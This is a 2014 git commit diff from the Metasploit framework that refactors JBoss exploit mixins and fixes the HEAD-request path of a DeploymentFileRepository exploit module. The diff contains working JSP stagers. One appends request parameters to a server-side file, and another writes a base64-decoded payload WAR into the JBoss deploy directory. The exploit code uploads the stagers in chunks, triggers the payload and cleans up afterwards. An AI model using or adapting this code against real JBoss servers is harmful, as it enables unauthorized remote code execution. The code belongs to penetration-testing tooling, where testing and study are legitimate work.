Fix problem with HEAD requests

Split lib/msf/http/jboss/script into
lib/msf/http/jboss/deployment_file_repository_scripts.rb and
lib/msf/http/jboss/bean_shell_scripts.rb as
bug/bundler_fix
Vincent Herbulot 2014-09-08 14:02:15 +02:00
parent abdd72e8c6
commit 283e83028f
4 changed files with 98 additions and 59 deletions

View File

@ -5,15 +5,17 @@ module Msf
module HTTP
module JBoss
require 'msf/http/jboss/base'
require 'msf/http/jboss/scripts'
require 'msf/http/jboss/bean_shell'
require 'msf/http/jboss/bean_shell_scripts'
require 'msf/http/jboss/deployment_file_repository'
require 'msf/http/jboss/deployment_file_repository_scripts'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss::Base
include Msf::HTTP::JBoss::Scripts
include Msf::HTTP::JBoss::BeanShell
include Msf::HTTP::JBoss::BeanShellScripts
include Msf::HTTP::JBoss::DeploymentFileRepository
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
def initialize(info = {})
super

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::Scripts
module Msf::HTTP::JBoss::BeanShellScripts
# Generates a Bean Shell Script.
#
@ -19,43 +19,6 @@ module Msf::HTTP::JBoss::Scripts
bean_shell
end
# Generate a stager JSP to write the second stager to the
# deploy/management direcotry. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
#
# @param stager_base [String] The name of the base of the stager.
# @param stager_jsp [String] The name name of the jsp stager.
# @return [String] The JSP head stager.
def head_stager_jsp(stager_base, stager_jsp)
content_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
bw_var = rand_text_alpha(8+rand(8))
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
if (request.getParameter("#{content_var}") != null) {
try {
String parameterName = (String)(request.getParameterNames().nextElement());
#{content_var} = request.getParameter(parameterName);
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e) { }
}
%>
EOT
head_stager_jsp
end
# Generate a stager JSP to write a WAR file to the deploy/ directory.
# This is used to bypass the size limit for GET/HEAD requests.
#

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
# Generate a stager JSP to write the second stager to the
# deploy/management direcotry. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
#
# @param stager_base [String] The name of the base of the stager.
# @param stager_jsp [String] The name name of the jsp stager.
# @return [String] The JSP head stager.
def head_stager_jsp(stager_base, stager_jsp_name)
content_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
bw_var = rand_text_alpha(8+rand(8))
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
try {
String #{content_var} = "";
String parameterName = (String)(request.getParameterNames().nextElement());
#{content_var} = request.getParameter(parameterName);
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e) { }
%>
EOT
head_stager_jsp_code
end
# Generate a stager JSP to write a WAR file to the deploy/ directory.
# This is used to bypass the size limit for GET/HEAD requests.
#
# @param app_base [String] The name of the WAR app to write.
# @return [String] The JSP stager.
def stager_jsp(app_base, encoded_payload)
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
content_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
try {
String #{content_var} = "#{encoded_payload}";
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
%>
EOT
stager_jsp
end
end

View File

@ -84,12 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
stager_base = rand_text_alpha(8+rand(8))
stager_jsp = rand_text_alpha(8+rand(8))
stager_jsp_name = rand_text_alpha(8+rand(8))
p = payload
mytarget = target
if (datastore['VERB'] == 'HEAD')
if (http_verb == 'HEAD')
print_status("Unable to automatically select a target with HEAD requests")
else
if (target.name =~ /Automatic/)
@ -120,27 +120,25 @@ class Metasploit3 < Msf::Exploit::Remote
}).to_s
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
stager_contents = stager_jsp(app_base, encoded_payload)
# Depending on the type on the verb we might use a second stager
if datastore['VERB'] == "POST" then
if http_verb == "POST" then
print_status("Deploying stager for the WAR file")
stager_contents = stager_jsp(app_base)
res = upload_file(stager_base, stager_jsp, stager_contents)
res = upload_file(stager_base, stager_jsp_name, stager_contents)
else
print_status("Deploying minimal stager to upload the payload")
head_stager_jsp_name = rand_text_alpha(8+rand(8))
head_stager_contents = head_stager_jsp(stager_base, stager_jsp)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?"
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
# We split the stager_jsp_code in multipe junks and transfer on the
# target with multiple requests
current_pos = 0
while current_pos < stager_jsp_code.length
while current_pos < stager_contents.length
next_pos = current_pos + 5000 + rand(100)
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
junk = "arg0=" + Rex::Text.uri_encode(stager_contents[current_pos,next_pos])
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
res = deploy('uri' => head_stager_uri + junk)
current_pos += next_pos
end
@ -152,11 +150,9 @@ class Metasploit3 < Msf::Exploit::Remote
# but the file still gets written.
if (res.code == 200 || res.code == 500)
print_status("Calling stager to deploy the payload warfile (might take some time)")
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
stager_res = deploy('uri' => stager_uri,
'data' => payload_data,
'method' => http_verb)
'method' => 'GET')
print_status("Try to call the deployed payload")
# Try to execute the payload by calling the deployed WAR file
@ -169,10 +165,12 @@ class Metasploit3 < Msf::Exploit::Remote
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
print_status("This might take some time, be patient...") if http_verb == "HEAD"
delete_res = []
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
if head_stager_jsp_name
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp_name, '.jsp')
end
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp_name, '.jsp')
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
delete_res.each do |res|